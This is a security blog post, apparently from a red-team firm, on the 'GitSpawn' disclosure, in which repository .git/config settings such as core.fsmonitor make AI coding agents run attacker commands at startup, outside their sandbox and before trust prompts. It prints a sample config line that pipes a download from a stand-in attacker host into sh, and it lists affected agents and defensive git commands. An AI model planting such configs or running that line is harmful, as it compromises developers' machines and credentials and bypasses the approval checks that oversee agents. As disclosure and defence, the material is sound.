// uncategorised

Malicious .git Configs Make Claude, Cursor and Other AI Agents Run Attacker Code

Getting an AI coding agent to run attacker code on your machine takes no clever prompt and no sandbox escape. Opening a repository someone sent you is enough: a command hidden in its own .git/config fires in the background before the agent ever asks whether you trust the folder. Manifold Security disclosed eight such flaws across seven AI coding agents at once. Here is the mechanism in detail (per The Hacker News), and how to catch it at scale instead of eyeballing one repo at a time.

What was found

Manifold Security published the chain under the name GitSpawn: eight vulnerabilities in seven agents where a repository’s own Git configuration runs arbitrary commands on the developer’s machine, outside the agent’s sandbox and with no approval prompt at all. The important part is that the bug is neither in the model nor in anything new. As Manifold puts it: “the vulnerability is not in the model, or in anything new. It is in the ordinary plumbing underneath, the subprocess an agent spawns at session startup to work out where it is.”

How opening a repo turns into code executionRepo arrives as files, .gitfolder intactAgent runs Git at startupgit status triggerscore.fsmonitorAttacker command: outsidesandbox, no promptSource: Manifold Security (GitSpawn), September 2026

How it works

The primary vector is the core.fsmonitor setting. It is a Git performance option whose value is a command, and Git runs that command to figure out which files changed. The catch: the command is read from the repository’s local .git/config, and it fires on any operation that refreshes the index, down to a harmless git status or git diff. Two neighbours do the same job: core.hooksPath and attr.tree paired with a clean or process filter.

The malicious config looks deceptively simple:

[core]
    fsmonitor = "curl -s https://evil.example/p | sh"

Then the timing does the rest. In Claude Code and Hermes Agent the payload runs before the workspace-trust prompt, in Qwen Code before the user authenticates, in Grok Build on the first keystroke. The outcome is the same: attacker code runs with the developer’s privileges and reaches their files, credentials and account resources.

One caveat both reassures and worries. A plain git clone does not carry the malicious config, so a project cloned from GitHub is safe. But when a repository arrives as files with the whole .git folder intact (in an archive, on a shared drive, in a sync folder or on a USB stick), the config is preserved in full. That is exactly how teams tend to pass such projects around.

8
flaws in the GitSpawn chain
7
AI coding agents affected
4
unpatched at disclosure
0
entries in CISA’s Known Exploited catalog
2
prior IDE precedents: VS Code, JetBrains

Who is affected, and what is patched

The vendor picture is uneven: some closed the hole fast, some stayed silent. Four agents were still exploitable at publication.

Tool Affected versions Status
goose All before 1.44.0 Fixed (1.44.0)
OpenAI Codex CLI 0.102.0–0.130.0 Fixed (0.131.0)
Cursor Fixed
Claude Code 2.1.193 / 2.1.252 Partial: fsmonitor fixed, ultrareview open
Hermes Agent 0.18.2, 0.21.0 No patch
Qwen Code 0.19.6, 0.22.3 No patch
Grok Build 0.2.93, 1.0.13 No patch
Patch status at publication, September 2026

Claude Code is its own story. Anthropic closed the main core.fsmonitor path in 2.1.196, but a second path through claude ultrareview was still open in 2.1.252 as of September 1. Sonar noted back in April 2026 that Anthropic had moved the startup sequence to close the issue in 2.0.34, yet the same behaviour returned in 2.1.193. OpenAI shipped three CVEs for Codex, including CVE-2026-19592; goose got CVE-2026-72718 rated 7.0.

Why this is worse than it looks

This is not exploiting a coding bug, it is abusing a legitimate feature. Cobalt’s red team put it best: “FSMonitor abuse exploits a legitimate feature, not a bug. It leverages the intersection of Git’s flexibility and the automation of modern IDEs to turn a repository open event into code execution.”

The class is not new. Visual Studio Code (CVE-2021-43891) and JetBrains IDEs (CVE-2022-24346) had the same problem years ago. What is new is that AI agents now sit on the detonator, poking Git in the background at startup with no one watching. And it is past theory: the Hermes agent, still without a fix, showed up in a July intrusion against a Thai government network.

How to defend right now

While vendors patch their agents, defense falls on developers and on whoever owns secure development. The practical minimum is short.

  • Inspect .git/config before you open a received folder in an agent. Look for core.fsmonitor, core.hooksPath and attr.tree next to a clean or process filter.
  • In any repo that arrived as files, check and disable the dangerous key globally:
git config --get core.fsmonitor
git config --global --list | grep fsmonitor
git config --global core.fsmonitor false
  • Vendors should strip configuration on background calls, e.g. run git -c core.fsmonitor=false status.
  • Inspecting every repo by hand does not scale. In CI and across a stream of incoming projects, static analysis should catch it: agentpipe SaaS scans repositories and agent configuration and flags exactly these dangerous Git keys and chains before a developer opens them.

Bottom line

GitSpawn is a clean reminder that an AI agent is dangerous not only through its model, but through everything it quietly runs around it. The weakest link turned out to be not the neural net but a thirty-year-old Git setting that agents learned to trigger automatically. With four tools still unpatched and fixes arriving late, the only reliable strategy is to distrust incoming repositories by default and check their configuration before opening — by hand for the odd case, and with automated scanning for everything else.

// get started

Work with AgentOffense

Tell us about your target and goals. We’ll reply with scope and a fixed-price quote — usually within one business day.

./request_engagement